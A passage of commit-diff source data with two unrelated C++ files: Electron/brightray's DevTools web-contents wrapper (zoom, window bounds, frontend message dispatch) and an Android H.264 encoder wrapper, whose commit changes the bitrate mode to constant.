DevToolsContentsResizingStrategy strategy(rect);
if (contents_resizing_strategy_.Equals(strategy))
return;
contents_resizing_strategy_.CopyFrom(strategy);
view_->SetContentsResizingStrategy(contents_resizing_strategy_);
}
void InspectableWebContentsImpl::InspectElementCompleted() {
}
void InspectableWebContentsImpl::MoveWindow(int x, int y) {
}
void InspectableWebContentsImpl::SetIsDocked(bool docked) {
view_->SetIsDocked(docked);
}
void InspectableWebContentsImpl::OpenInNewTab(const std::string& url) {
}
void InspectableWebContentsImpl::SaveToFile(
const std::string& url, const std::string& content, bool save_as) {
if (delegate_)
delegate_->DevToolsSaveToFile(url, content, save_as);
}
void InspectableWebContentsImpl::AppendToFile(
const std::string& url, const std::string& content) {
if (delegate_)
delegate_->DevToolsAppendToFile(url, content);
}
void InspectableWebContentsImpl::RequestFileSystems() {
devtools_web_contents()->GetMainFrame()->ExecuteJavaScript(
base::ASCIIToUTF16("InspectorFrontendAPI.fileSystemsLoaded([])"));
}
void InspectableWebContentsImpl::AddFileSystem() {
}
void InspectableWebContentsImpl::RemoveFileSystem(
const std::string& file_system_path) {
}
void InspectableWebContentsImpl::UpgradeDraggedFileSystemPermissions(
const std::string& file_system_url) {
}
void InspectableWebContentsImpl::IndexPath(
int request_id, const std::string& file_system_path) {
}
void InspectableWebContentsImpl::StopIndexing(int request_id) {
}
void InspectableWebContentsImpl::SearchInPath(
int request_id,
const std::string& file_system_path,
const std::string& query) {
}
void InspectableWebContentsImpl::ZoomIn() {
double level = GetZoomLevelForWebContents(devtools_web_contents());
SetZoomLevelForWebContents(devtools_web_contents(), GetNextZoomLevel(level, false));
}
void InspectableWebContentsImpl::ZoomOut() {
double level = GetZoomLevelForWebContents(devtools_web_contents());
SetZoomLevelForWebContents(devtools_web_contents(), GetNextZoomLevel(level, true));
}
void InspectableWebContentsImpl::ResetZoom() {
SetZoomLevelForWebContents(devtools_web_contents(), 0.);
}
void InspectableWebContentsImpl::DispatchOnEmbedder(
const std::string& message) {
std::string method;
base::ListValue params;
int id;
if (!ParseMessage(message, &method, ¶ms, &id)) {
LOG(ERROR) << "Invalid message was sent to embedder: " << message;
return;
}
std::string error = embedder_message_dispatcher_->Dispatch(method, ¶ms);
if (id) {
std::string ack = base::StringPrintf(
"InspectorFrontendAPI.embedderMessageAck(%d, \"%s\");", id, error.c_str());
devtools_web_contents()->GetMainFrame()->ExecuteJavaScript(base::UTF8ToUTF16(ack));
}
}
void InspectableWebContentsImpl::InspectedContentsClosing() {
}
void InspectableWebContentsImpl::AboutToNavigateRenderView(
content::RenderViewHost* render_view_host) {
content::DevToolsClientHost::SetupDevToolsFrontendClient(
web_contents()->GetRenderViewHost());
}
void InspectableWebContentsImpl::DidFinishLoad(int64 frame_id,
const GURL& validated_url,
bool is_main_frame,
content::RenderViewHost*) {
if (!is_main_frame)
return;
view_->ShowDevTools();
}
void InspectableWebContentsImpl::WebContentsDestroyed() {
content::DevToolsManager::GetInstance()->ClientHostClosing(
frontend_host_.get());
Observe(nullptr);
agent_host_ = nullptr;
frontend_host_.reset();
}
bool InspectableWebContentsImpl::AddMessageToConsole(
content::WebContents* source,
int32 level,
const base::string16& message,
int32 line_no,
const base::string16& source_id) {
logging::LogMessage("CONSOLE", line_no, level).stream() << "\"" <<
message << "\", source: " << source_id << " (" << line_no << ")";
return true;
}
void InspectableWebContentsImpl::HandleKeyboardEvent(
content::WebContents* source,
const content::NativeWebKeyboardEvent& event) {
auto delegate = web_contents_->GetDelegate();
if (delegate)
delegate->HandleKeyboardEvent(source, event);
}
void InspectableWebContentsImpl::CloseContents(content::WebContents* source) {
CloseDevTools();
}
} // namespace brightray
<commit_msg>Set toolbar color for devtools.<commit_after>// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Copyright (c) 2013 Adam Roben <adam@roben.org>. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE-CHROMIUM file.
#include "browser/inspectable_web_contents_impl.h"
#include "browser/browser_client.h"
#include "browser/browser_context.h"
#include "browser/browser_main_parts.h"
#include "browser/inspectable_web_contents_delegate.h"
#include "browser/inspectable_web_contents_view.h"
#include "base/json/json_reader.h"
#include "base/prefs/pref_registry_simple.h"
#include "base/prefs/pref_service.h"
#include "base/strings/stringprintf.h"
#include "base/strings/utf_string_conversions.h"
#include "base/values.h"
#include "content/public/browser/devtools_agent_host.h"
#include "content/public/browser/devtools_client_host.h"
#include "content/public/browser/devtools_http_handler.h"
#include "content/public/browser/devtools_manager.h"
#include "content/public/browser/host_zoom_map.h"
#include "content/public/browser/render_frame_host.h"
#include "content/public/browser/render_view_host.h"
namespace brightray {
namespace {
const double kPresetZoomFactors[] = { 0.25, 0.333, 0.5, 0.666, 0.75, 0.9, 1.0,
1.1, 1.25, 1.5, 1.75, 2.0, 2.5, 3.0, 4.0,
5.0 };
const char kDevToolsScheme[] = "chrome-devtools";
const char kDevToolsHost[] = "devtools";
const char kChromeUIDevToolsURL[] = "chrome-devtools://devtools/devtools.html?"
"can_dock=true&"
"toolbarColor=rgba(223,223,223,1)&"
"textColor=rgba(0,0,0,1)&"
"experiments=true";
const char kDevToolsBoundsPref[] = "brightray.devtools.bounds";
const char kFrontendHostId[] = "id";
const char kFrontendHostMethod[] = "method";
const char kFrontendHostParams[] = "params";
void RectToDictionary(const gfx::Rect& bounds, base::DictionaryValue* dict) {
dict->SetInteger("x", bounds.x());
dict->SetInteger("y", bounds.y());
dict->SetInteger("width", bounds.width());
dict->SetInteger("height", bounds.height());
}
void DictionaryToRect(const base::DictionaryValue& dict, gfx::Rect* bounds) {
int x = 0, y = 0, width = 800, height = 600;
dict.GetInteger("x", &x);
dict.GetInteger("y", &y);
dict.GetInteger("width", &width);
dict.GetInteger("height", &height);
*bounds = gfx::Rect(x, y, width, height);
}
bool ParseMessage(const std::string& message,
std::string* method,
base::ListValue* params,
int* id) {
scoped_ptr<base::Value> parsed_message(base::JSONReader::Read(message));
if (!parsed_message)
return false;
base::DictionaryValue* dict = NULL;
if (!parsed_message->GetAsDictionary(&dict))
return false;
if (!dict->GetString(kFrontendHostMethod, method))
return false;
// "params" is optional.
if (dict->HasKey(kFrontendHostParams)) {
base::ListValue* internal_params;
if (dict->GetList(kFrontendHostParams, &internal_params))
params->Swap(internal_params);
else
return false;
}
*id = 0;
dict->GetInteger(kFrontendHostId, id);
return true;
}
double GetZoomLevelForWebContents(content::WebContents* web_contents) {
content::HostZoomMap* host_zoom_map = content::HostZoomMap::GetForBrowserContext(
web_contents->GetBrowserContext());
return host_zoom_map->GetZoomLevelForHostAndScheme(kDevToolsScheme, kDevToolsHost);
}
void SetZoomLevelForWebContents(content::WebContents* web_contents, double level) {
content::HostZoomMap* host_zoom_map = content::HostZoomMap::GetForBrowserContext(
web_contents->GetBrowserContext());
return host_zoom_map->SetZoomLevelForHostAndScheme(kDevToolsScheme, kDevToolsHost, level);
}
double GetNextZoomLevel(double level, bool out) {
double factor = content::ZoomLevelToZoomFactor(level);
size_t size = arraysize(kPresetZoomFactors);
for (size_t i = 0; i < size; ++i) {
if (!content::ZoomValuesEqual(kPresetZoomFactors[i], factor))
continue;
if (out && i > 0)
return content::ZoomFactorToZoomLevel(kPresetZoomFactors[i - 1]);
if (!out && i != size - 1)
return content::ZoomFactorToZoomLevel(kPresetZoomFactors[i + 1]);
}
return level;
}
} // namespace
// Implemented separately on each platform.
InspectableWebContentsView* CreateInspectableContentsView(
InspectableWebContentsImpl* inspectable_web_contents_impl);
void InspectableWebContentsImpl::RegisterPrefs(PrefRegistrySimple* registry) {
auto bounds_dict = make_scoped_ptr(new base::DictionaryValue);
RectToDictionary(gfx::Rect(0, 0, 800, 600), bounds_dict.get());
registry->RegisterDictionaryPref(kDevToolsBoundsPref, bounds_dict.release());
}
InspectableWebContentsImpl::InspectableWebContentsImpl(
content::WebContents* web_contents)
: web_contents_(web_contents),
delegate_(nullptr) {
auto context = static_cast<BrowserContext*>(web_contents_->GetBrowserContext());
auto bounds_dict = context->prefs()->GetDictionary(kDevToolsBoundsPref);
if (bounds_dict)
DictionaryToRect(*bounds_dict, &devtools_bounds_);
view_.reset(CreateInspectableContentsView(this));
}
InspectableWebContentsImpl::~InspectableWebContentsImpl() {
}
InspectableWebContentsView* InspectableWebContentsImpl::GetView() const {
return view_.get();
}
content::WebContents* InspectableWebContentsImpl::GetWebContents() const {
return web_contents_.get();
}
void InspectableWebContentsImpl::ShowDevTools() {
// Show devtools only after it has done loading, this is to make sure the
// SetIsDocked is called *BEFORE* ShowDevTools.
if (!devtools_web_contents_) {
embedder_message_dispatcher_.reset(
new DevToolsEmbedderMessageDispatcher(this));
content::WebContents::CreateParams create_params(web_contents_->GetBrowserContext());
devtools_web_contents_.reset(content::WebContents::Create(create_params));
Observe(devtools_web_contents_.get());
devtools_web_contents_->SetDelegate(this);
agent_host_ = content::DevToolsAgentHost::GetOrCreateFor(
web_contents_->GetRenderViewHost());
frontend_host_.reset(
content::DevToolsClientHost::CreateDevToolsFrontendHost(
devtools_web_contents_.get(), this));
content::DevToolsManager::GetInstance()->RegisterDevToolsClientHostFor(
agent_host_, frontend_host_.get());
GURL devtools_url(kChromeUIDevToolsURL);
devtools_web_contents_->GetController().LoadURL(
devtools_url,
content::Referrer(),
content::PAGE_TRANSITION_AUTO_TOPLEVEL,
std::string());
} else {
view_->ShowDevTools();
}
}
void InspectableWebContentsImpl::CloseDevTools() {
if (devtools_web_contents_) {
view_->CloseDevTools();
devtools_web_contents_.reset();
web_contents_->Focus();
}
}
bool InspectableWebContentsImpl::IsDevToolsViewShowing() {
return devtools_web_contents_ && view_->IsDevToolsViewShowing();
}
gfx::Rect InspectableWebContentsImpl::GetDevToolsBounds() const {
return devtools_bounds_;
}
void InspectableWebContentsImpl::SaveDevToolsBounds(const gfx::Rect& bounds) {
auto context = static_cast<BrowserContext*>(web_contents_->GetBrowserContext());
base::DictionaryValue bounds_dict;
RectToDictionary(bounds, &bounds_dict);
context->prefs()->Set(kDevToolsBoundsPref, bounds_dict);
devtools_bounds_ = bounds;
}
void InspectableWebContentsImpl::ActivateWindow() {
}
void InspectableWebContentsImpl::CloseWindow() {
devtools_web_contents()->DispatchBeforeUnload(false);
}
void InspectableWebContentsImpl::SetInspectedPageBounds(const gfx::Rect& rect) {
DevToolsContentsResizingStrategy strategy(rect);
if (contents_resizing_strategy_.Equals(strategy))
return;
contents_resizing_strategy_.CopyFrom(strategy);
view_->SetContentsResizingStrategy(contents_resizing_strategy_);
}
void InspectableWebContentsImpl::InspectElementCompleted() {
}
void InspectableWebContentsImpl::MoveWindow(int x, int y) {
}
void InspectableWebContentsImpl::SetIsDocked(bool docked) {
view_->SetIsDocked(docked);
}
void InspectableWebContentsImpl::OpenInNewTab(const std::string& url) {
}
void InspectableWebContentsImpl::SaveToFile(
const std::string& url, const std::string& content, bool save_as) {
if (delegate_)
delegate_->DevToolsSaveToFile(url, content, save_as);
}
void InspectableWebContentsImpl::AppendToFile(
const std::string& url, const std::string& content) {
if (delegate_)
delegate_->DevToolsAppendToFile(url, content);
}
void InspectableWebContentsImpl::RequestFileSystems() {
devtools_web_contents()->GetMainFrame()->ExecuteJavaScript(
base::ASCIIToUTF16("InspectorFrontendAPI.fileSystemsLoaded([])"));
}
void InspectableWebContentsImpl::AddFileSystem() {
}
void InspectableWebContentsImpl::RemoveFileSystem(
const std::string& file_system_path) {
}
void InspectableWebContentsImpl::UpgradeDraggedFileSystemPermissions(
const std::string& file_system_url) {
}
void InspectableWebContentsImpl::IndexPath(
int request_id, const std::string& file_system_path) {
}
void InspectableWebContentsImpl::StopIndexing(int request_id) {
}
void InspectableWebContentsImpl::SearchInPath(
int request_id,
const std::string& file_system_path,
const std::string& query) {
}
void InspectableWebContentsImpl::ZoomIn() {
double level = GetZoomLevelForWebContents(devtools_web_contents());
SetZoomLevelForWebContents(devtools_web_contents(), GetNextZoomLevel(level, false));
}
void InspectableWebContentsImpl::ZoomOut() {
double level = GetZoomLevelForWebContents(devtools_web_contents());
SetZoomLevelForWebContents(devtools_web_contents(), GetNextZoomLevel(level, true));
}
void InspectableWebContentsImpl::ResetZoom() {
SetZoomLevelForWebContents(devtools_web_contents(), 0.);
}
void InspectableWebContentsImpl::DispatchOnEmbedder(
const std::string& message) {
std::string method;
base::ListValue params;
int id;
if (!ParseMessage(message, &method, ¶ms, &id)) {
LOG(ERROR) << "Invalid message was sent to embedder: " << message;
return;
}
std::string error = embedder_message_dispatcher_->Dispatch(method, ¶ms);
if (id) {
std::string ack = base::StringPrintf(
"InspectorFrontendAPI.embedderMessageAck(%d, \"%s\");", id, error.c_str());
devtools_web_contents()->GetMainFrame()->ExecuteJavaScript(base::UTF8ToUTF16(ack));
}
}
void InspectableWebContentsImpl::InspectedContentsClosing() {
}
void InspectableWebContentsImpl::AboutToNavigateRenderView(
content::RenderViewHost* render_view_host) {
content::DevToolsClientHost::SetupDevToolsFrontendClient(
web_contents()->GetRenderViewHost());
}
void InspectableWebContentsImpl::DidFinishLoad(int64 frame_id,
const GURL& validated_url,
bool is_main_frame,
content::RenderViewHost*) {
if (!is_main_frame)
return;
view_->ShowDevTools();
}
void InspectableWebContentsImpl::WebContentsDestroyed() {
content::DevToolsManager::GetInstance()->ClientHostClosing(
frontend_host_.get());
Observe(nullptr);
agent_host_ = nullptr;
frontend_host_.reset();
}
bool InspectableWebContentsImpl::AddMessageToConsole(
content::WebContents* source,
int32 level,
const base::string16& message,
int32 line_no,
const base::string16& source_id) {
logging::LogMessage("CONSOLE", line_no, level).stream() << "\"" <<
message << "\", source: " << source_id << " (" << line_no << ")";
return true;
}
void InspectableWebContentsImpl::HandleKeyboardEvent(
content::WebContents* source,
const content::NativeWebKeyboardEvent& event) {
auto delegate = web_contents_->GetDelegate();
if (delegate)
delegate->HandleKeyboardEvent(source, event);
}
void InspectableWebContentsImpl::CloseContents(content::WebContents* source) {
CloseDevTools();
}
} // namespace brightray
<|endoftext|>
|
<commit_before>#define LOG_TAG "silk-h264-enc"
#include "SimpleH264Encoder.h"
#include <media/stagefright/MediaBuffer.h>
#include <media/stagefright/MetaData.h>
// This is an ugly hack. We forked this from libstagefright
// so we can trigger key frames and adjust bitrate
#include "MediaCodecSource.h"
#include <media/openmax/OMX_IVCommon.h>
#include <media/stagefright/OMXCodec.h>
#include <media/stagefright/foundation/ADebug.h>
#include <media/stagefright/foundation/AMessage.h>
#include <utils/Thread.h>
#include <utils/SystemClock.h>
#include <utils/Log.h>
using namespace android;
static const char* kMimeTypeAvc = "video/avc";
static const uint32_t kColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
static const int32_t kIFrameInterval = 3;
class SingleBufferMediaSource: public MediaSource {
public:
SingleBufferMediaSource(int width, int height)
: mBuffer(0), mHaveNextBuffer(false) {
mMetaData = new MetaData();
mMetaData->setInt32(kKeyWidth, width);
mMetaData->setInt32(kKeyHeight, height);
mMetaData->setInt32(kKeyStride, width);
mMetaData->setInt32(kKeySliceHeight, height);
mMetaData->setInt32(kKeyColorFormat, kColorFormat);
mMetaData->setCString(kKeyMIMEType, "video/raw");
}
status_t start(MetaData *params = NULL) override {
return 0;
}
status_t stop() override {
nextFrame(nullptr); // Unclog read
return 0;
}
sp<MetaData> getFormat() override {
return mMetaData;
}
status_t read(MediaBuffer **buffer, const ReadOptions *options = NULL) override {
Mutex::Autolock autolock(mBufferLock);
if (options != NULL) {
ALOGW("ReadOptions not supported");
return ERROR_END_OF_STREAM;
}
while (!mHaveNextBuffer) {
mBufferCondition.wait(mBufferLock);
}
mHaveNextBuffer = false;
if (!mBuffer) {
ALOGI("End of stream");
return ERROR_END_OF_STREAM;
}
*buffer = mBuffer;
mBuffer = nullptr;
return ::OK;
}
void nextFrame(android::MediaBuffer *yuv420SemiPlanarFrame) {
Mutex::Autolock autolock(mBufferLock);
if (mBuffer) {
mBuffer->release();
}
mBuffer = yuv420SemiPlanarFrame;
mHaveNextBuffer = true;
mBufferCondition.signal();
}
private:
MediaBuffer *mBuffer;
bool mHaveNextBuffer;
Mutex mBufferLock;
Condition mBufferCondition;
sp<MetaData> mMetaData;
};
class SimpleH264EncoderImpl: public SimpleH264Encoder {
public:
static SimpleH264Encoder *Create(int width,
int height,
int maxBitrateK,
int targetFps,
FrameOutCallback frameOutCallback,
void *frameOutUserData);
virtual ~SimpleH264EncoderImpl() {
stop();
}
virtual void setBitRate(int bitrateK);
virtual void requestKeyFrame();
virtual void nextFrame(void *yuv420SemiPlanarFrame, long long timeMillis, void (*deallocator)(void *));
virtual void nextFrame(android::MediaBuffer *yuv420SemiPlanarFrame);
virtual void stop();
private:
class FramePuller: public android::Thread {
public:
FramePuller(SimpleH264EncoderImpl *encoder): encoder(encoder) {};
private:
bool threadLoop() override {
return encoder->threadLoop();
}
SimpleH264EncoderImpl *encoder;
};
friend class FramePuller;
SimpleH264EncoderImpl(int width,
int height,
int maxBitrateK,
FrameOutCallback frameOutCallback,
void *frameOutUserData);
bool init(int bitrateK, int targetFps);
bool threadLoop();
int width;
int height;
int maxBitrateK;
FrameOutCallback frameOutCallback;
void *frameOutUserData;
uint8_t *codecConfig;
int codecConfigLength;
uint8_t *encodedFrame;
int encodedFrameMaxLength;
android::sp<android::ALooper> looper;
android::sp<android::MediaCodecSource> mediaCodecSource;
android::sp<SingleBufferMediaSource> frameQueue;
android::sp<android::Thread> framePuller;
android::Mutex mutex;
};
SimpleH264Encoder *SimpleH264EncoderImpl::Create(int width,
int height,
int maxBitrateK,
int targetFps,
FrameOutCallback frameOutCallback,
void *frameOutUserData) {
SimpleH264EncoderImpl *enc = new SimpleH264EncoderImpl(
width,
height,
maxBitrateK,
frameOutCallback,
frameOutUserData
);
if (!enc->init(maxBitrateK, targetFps)) {
delete enc;
enc = nullptr;
};
return enc;
bail:
delete enc;
return nullptr;
}
SimpleH264EncoderImpl::SimpleH264EncoderImpl(int width,
int height,
int maxBitrateK,
FrameOutCallback frameOutCallback,
void *frameOutUserData)
: width(width),
height(height),
maxBitrateK(maxBitrateK),
frameOutCallback(frameOutCallback),
frameOutUserData(frameOutUserData),
codecConfig(nullptr),
codecConfigLength(0),
encodedFrame(nullptr),
encodedFrameMaxLength(0) {
frameQueue = new SingleBufferMediaSource(width, height);
looper = new ALooper;
looper->setName("SimpleH264Encoder");
framePuller = new SimpleH264EncoderImpl::FramePuller(this);
};
bool SimpleH264EncoderImpl::init(int bitrateK, int targetFps) {
sp<MetaData> meta = frameQueue->getFormat();
int32_t width, height, stride, sliceHeight, colorFormat;
CHECK(meta->findInt32(kKeyWidth, &width));
CHECK(meta->findInt32(kKeyHeight, &height));
CHECK(meta->findInt32(kKeyStride, &stride));
CHECK(meta->findInt32(kKeySliceHeight, &sliceHeight));
CHECK(meta->findInt32(kKeyColorFormat, &colorFormat));
sp<AMessage> format = new AMessage();
format->setInt32("width", width);
format->setInt32("height", height);
format->setInt32("stride", stride);
format->setInt32("slice-height", sliceHeight);
format->setInt32("color-format", colorFormat);
format->setString("mime", kMimeTypeAvc);
format->setInt32("bitrate", bitrateK * 1024);
format->setInt32("bitrate-mode", OMX_Video_ControlRateVariable);
format->setFloat("frame-rate", targetFps);
format->setInt32("i-frame-interval", kIFrameInterval);
looper->start();
mediaCodecSource = MediaCodecSource::Create(
looper,
format,
frameQueue,
#ifdef TARGET_GE_MARSHMALLOW
NULL,
#endif
0
);
if (mediaCodecSource == nullptr) {
ALOGE("Unable to create encoder");
return false;
}
status_t err;
err = mediaCodecSource->start();
if (err != 0) {
ALOGE("Unable to start encoder");
return false;
}
err = framePuller->run();
if (err != 0) {
ALOGE("Unable to start puller thread");
return false;
}
return true;
}
void SimpleH264EncoderImpl::setBitRate(int bitrateK) {
Mutex::Autolock autolock(mutex);
if (mediaCodecSource != nullptr) {
mediaCodecSource->videoBitRate(
(bitrateK < maxBitrateK ? bitrateK : maxBitrateK) * 1024
);
}
}
void SimpleH264EncoderImpl::requestKeyFrame() {
Mutex::Autolock autolock(mutex);
if (mediaCodecSource != nullptr) {
mediaCodecSource->requestIDRFrame();
}
}
void SimpleH264EncoderImpl::nextFrame(android::MediaBuffer *yuv420SemiPlanarFrame) {
Mutex::Autolock autolock(mutex);
if (frameQueue == nullptr) {
ALOGI("Stopped, ignoring frame");
} else {
const size_t size = height * width * 3 / 2;
if (yuv420SemiPlanarFrame->range_length() != size) {
ALOGE("Invalid buffer size: %d, expected %d", yuv420SemiPlanarFrame->range_length(), size);
} else {
frameQueue->nextFrame(yuv420SemiPlanarFrame);
return;
}
}
yuv420SemiPlanarFrame->release();
}
class UserMediaBuffer: public android::MediaBuffer {
public:
UserMediaBuffer(void *data, size_t size, void (*deallocator)(void *))
: MediaBuffer(data, size),
deallocator(deallocator) {}
protected:
~UserMediaBuffer() {
deallocator(data());
}
private:
void (*deallocator)(void *);
};
void SimpleH264EncoderImpl::nextFrame(void *yuv420SemiPlanarFrame, long long timeMillis, void (*deallocator)(void *)) {
auto buffer = new UserMediaBuffer(
yuv420SemiPlanarFrame,
height * width * 3 / 2,
deallocator
);
buffer->meta_data()->setInt64(kKeyTime, timeMillis * 1000);
nextFrame(buffer);
}
void SimpleH264EncoderImpl::stop() {
Mutex::Autolock autolock(mutex);
framePuller->requestExit();
if (mediaCodecSource != nullptr) {
mediaCodecSource->stop();
}
if (frameQueue != nullptr) {
frameQueue->stop();
}
if (looper != nullptr) {
looper->stop();
}
if (framePuller->isRunning()) {
framePuller->join();
CHECK(!framePuller->isRunning());
}
frameQueue = nullptr;
mediaCodecSource = nullptr;
looper = nullptr;
delete [] codecConfig;
codecConfig = nullptr;
codecConfigLength = 0;
delete [] encodedFrame;
encodedFrame = nullptr;
encodedFrameMaxLength = 0;
}
bool SimpleH264EncoderImpl::threadLoop() {
MediaBuffer *buffer;
status_t err = mediaCodecSource->read(&buffer);
if (err != ::OK) {
ALOGE("Error reading from source: %d", err);
return false;
}
if (buffer == NULL) {
ALOGE("Failed to get buffer from source");
return false;
}
int32_t isCodecConfig = 0;
int32_t isIFrame = 0;
int64_t timestamp = 0;
if (buffer->meta_data() == NULL) {
ALOGE("Failed to get buffer meta_data()");
return false;
}
buffer->meta_data()->findInt32(kKeyIsCodecConfig, &isCodecConfig);
buffer->meta_data()->findInt32(kKeyIsSyncFrame, &isIFrame);
if (isCodecConfig) {
if (codecConfig) {
delete [] codecConfig;
}
codecConfigLength = buffer->range_length();
codecConfig = new uint8_t[codecConfigLength];
memcpy(codecConfig,
static_cast<uint8_t*>(buffer->data()) + buffer->range_offset(),
codecConfigLength
);
} else {
EncodedFrameInfo info;
info.userData = frameOutUserData;
info.keyFrame = isIFrame;
int64_t timeMicro = 0;
buffer->meta_data()->findInt64(kKeyTime, &timeMicro);
info.timeMillis = timeMicro / 1000;
if (isIFrame) {
int encodedFrameLength = codecConfigLength + buffer->range_length();
if (encodedFrame == nullptr ||
encodedFrameMaxLength < encodedFrameLength) {
encodedFrameMaxLength = encodedFrameLength + encodedFrameLength / 2;
delete [] encodedFrame;
encodedFrame = new uint8_t[encodedFrameMaxLength];
}
// Always send codecConfig with an i-frame to make the stream more
// resilient
if (codecConfig) {
memcpy(encodedFrame, codecConfig, codecConfigLength);
}
memcpy(
encodedFrame + codecConfigLength,
static_cast<uint8_t*>(buffer->data()) + buffer->range_offset(),
buffer->range_length()
);
info.encodedFrame = encodedFrame;
info.encodedFrameLength = encodedFrameLength;
} else {
info.encodedFrame = static_cast<uint8_t*>(buffer->data()) + buffer->range_offset();
info.encodedFrameLength = buffer->range_length();
}
frameOutCallback(info);
}
buffer->release();
return true;
}
SimpleH264Encoder *SimpleH264Encoder::Create(int width,
int height,
int maxBitrateK,
int targetFps,
FrameOutCallback frameOutCallback,
void *frameOutUserData) {
return SimpleH264EncoderImpl::Create(
width,
height,
maxBitrateK,
targetFps,
frameOutCallback,
frameOutUserData
);
}
<commit_msg>Switch to constant bitrate mode<commit_after>#define LOG_TAG "silk-h264-enc"
#include "SimpleH264Encoder.h"
#include <media/stagefright/MediaBuffer.h>
#include <media/stagefright/MetaData.h>
// This is an ugly hack. We forked this from libstagefright
// so we can trigger key frames and adjust bitrate
#include "MediaCodecSource.h"
#include <media/openmax/OMX_IVCommon.h>
#include <media/stagefright/OMXCodec.h>
#include <media/stagefright/foundation/ADebug.h>
#include <media/stagefright/foundation/AMessage.h>
#include <utils/Thread.h>
#include <utils/SystemClock.h>
#include <utils/Log.h>
using namespace android;
static const char* kMimeTypeAvc = "video/avc";
static const uint32_t kColorFormat = OMX_COLOR_FormatYUV420SemiPlanar;
static const int32_t kIFrameInterval = 3;
class SingleBufferMediaSource: public MediaSource {
public:
SingleBufferMediaSource(int width, int height)
: mBuffer(0), mHaveNextBuffer(false) {
mMetaData = new MetaData();
mMetaData->setInt32(kKeyWidth, width);
mMetaData->setInt32(kKeyHeight, height);
mMetaData->setInt32(kKeyStride, width);
mMetaData->setInt32(kKeySliceHeight, height);
mMetaData->setInt32(kKeyColorFormat, kColorFormat);
mMetaData->setCString(kKeyMIMEType, "video/raw");
}
status_t start(MetaData *params = NULL) override {
return 0;
}
status_t stop() override {
nextFrame(nullptr); // Unclog read
return 0;
}
sp<MetaData> getFormat() override {
return mMetaData;
}
status_t read(MediaBuffer **buffer, const ReadOptions *options = NULL) override {
Mutex::Autolock autolock(mBufferLock);
if (options != NULL) {
ALOGW("ReadOptions not supported");
return ERROR_END_OF_STREAM;
}
while (!mHaveNextBuffer) {
mBufferCondition.wait(mBufferLock);
}
mHaveNextBuffer = false;
if (!mBuffer) {
ALOGI("End of stream");
return ERROR_END_OF_STREAM;
}
*buffer = mBuffer;
mBuffer = nullptr;
return ::OK;
}
void nextFrame(android::MediaBuffer *yuv420SemiPlanarFrame) {
Mutex::Autolock autolock(mBufferLock);
if (mBuffer) {
mBuffer->release();
}
mBuffer = yuv420SemiPlanarFrame;
mHaveNextBuffer = true;
mBufferCondition.signal();
}
private:
MediaBuffer *mBuffer;
bool mHaveNextBuffer;
Mutex mBufferLock;
Condition mBufferCondition;
sp<MetaData> mMetaData;
};
class SimpleH264EncoderImpl: public SimpleH264Encoder {
public:
static SimpleH264Encoder *Create(int width,
int height,
int maxBitrateK,
int targetFps,
FrameOutCallback frameOutCallback,
void *frameOutUserData);
virtual ~SimpleH264EncoderImpl() {
stop();
}
virtual void setBitRate(int bitrateK);
virtual void requestKeyFrame();
virtual void nextFrame(void *yuv420SemiPlanarFrame, long long timeMillis, void (*deallocator)(void *));
virtual void nextFrame(android::MediaBuffer *yuv420SemiPlanarFrame);
virtual void stop();
private:
class FramePuller: public android::Thread {
public:
FramePuller(SimpleH264EncoderImpl *encoder): encoder(encoder) {};
private:
bool threadLoop() override {
return encoder->threadLoop();
}
SimpleH264EncoderImpl *encoder;
};
friend class FramePuller;
SimpleH264EncoderImpl(int width,
int height,
int maxBitrateK,
FrameOutCallback frameOutCallback,
void *frameOutUserData);
bool init(int bitrateK, int targetFps);
bool threadLoop();
int width;
int height;
int maxBitrateK;
FrameOutCallback frameOutCallback;
void *frameOutUserData;
uint8_t *codecConfig;
int codecConfigLength;
uint8_t *encodedFrame;
int encodedFrameMaxLength;
android::sp<android::ALooper> looper;
android::sp<android::MediaCodecSource> mediaCodecSource;
android::sp<SingleBufferMediaSource> frameQueue;
android::sp<android::Thread> framePuller;
android::Mutex mutex;
};
SimpleH264Encoder *SimpleH264EncoderImpl::Create(int width,
int height,
int maxBitrateK,
int targetFps,
FrameOutCallback frameOutCallback,
void *frameOutUserData) {
SimpleH264EncoderImpl *enc = new SimpleH264EncoderImpl(
width,
height,
maxBitrateK,
frameOutCallback,
frameOutUserData
);
if (!enc->init(maxBitrateK, targetFps)) {
delete enc;
enc = nullptr;
};
return enc;
bail:
delete enc;
return nullptr;
}
SimpleH264EncoderImpl::SimpleH264EncoderImpl(int width,
int height,
int maxBitrateK,
FrameOutCallback frameOutCallback,
void *frameOutUserData)
: width(width),
height(height),
maxBitrateK(maxBitrateK),
frameOutCallback(frameOutCallback),
frameOutUserData(frameOutUserData),
codecConfig(nullptr),
codecConfigLength(0),
encodedFrame(nullptr),
encodedFrameMaxLength(0) {
frameQueue = new SingleBufferMediaSource(width, height);
looper = new ALooper;
looper->setName("SimpleH264Encoder");
framePuller = new SimpleH264EncoderImpl::FramePuller(this);
};
bool SimpleH264EncoderImpl::init(int bitrateK, int targetFps) {
sp<MetaData> meta = frameQueue->getFormat();
int32_t width, height, stride, sliceHeight, colorFormat;
CHECK(meta->findInt32(kKeyWidth, &width));
CHECK(meta->findInt32(kKeyHeight, &height));
CHECK(meta->findInt32(kKeyStride, &stride));
CHECK(meta->findInt32(kKeySliceHeight, &sliceHeight));
CHECK(meta->findInt32(kKeyColorFormat, &colorFormat));
sp<AMessage> format = new AMessage();
format->setInt32("width", width);
format->setInt32("height", height);
format->setInt32("stride", stride);
format->setInt32("slice-height", sliceHeight);
format->setInt32("color-format", colorFormat);
format->setString("mime", kMimeTypeAvc);
format->setInt32("bitrate", bitrateK * 1024);
format->setInt32("bitrate-mode", OMX_Video_ControlRateConstant);
format->setFloat("frame-rate", targetFps);
format->setInt32("i-frame-interval", kIFrameInterval);
looper->start();
mediaCodecSource = MediaCodecSource::Create(
looper,
format,
frameQueue,
#ifdef TARGET_GE_MARSHMALLOW
NULL,
#endif
0
);
if (mediaCodecSource == nullptr) {
ALOGE("Unable to create encoder");
return false;
}
status_t err;
err = mediaCodecSource->start();
if (err != 0) {
ALOGE("Unable to start encoder");
return false;
}
err = framePuller->run();
if (err != 0) {
ALOGE("Unable to start puller thread");
return false;
}
return true;
}
void SimpleH264EncoderImpl::setBitRate(int bitrateK) {
Mutex::Autolock autolock(mutex);
if (mediaCodecSource != nullptr) {
mediaCodecSource->videoBitRate(
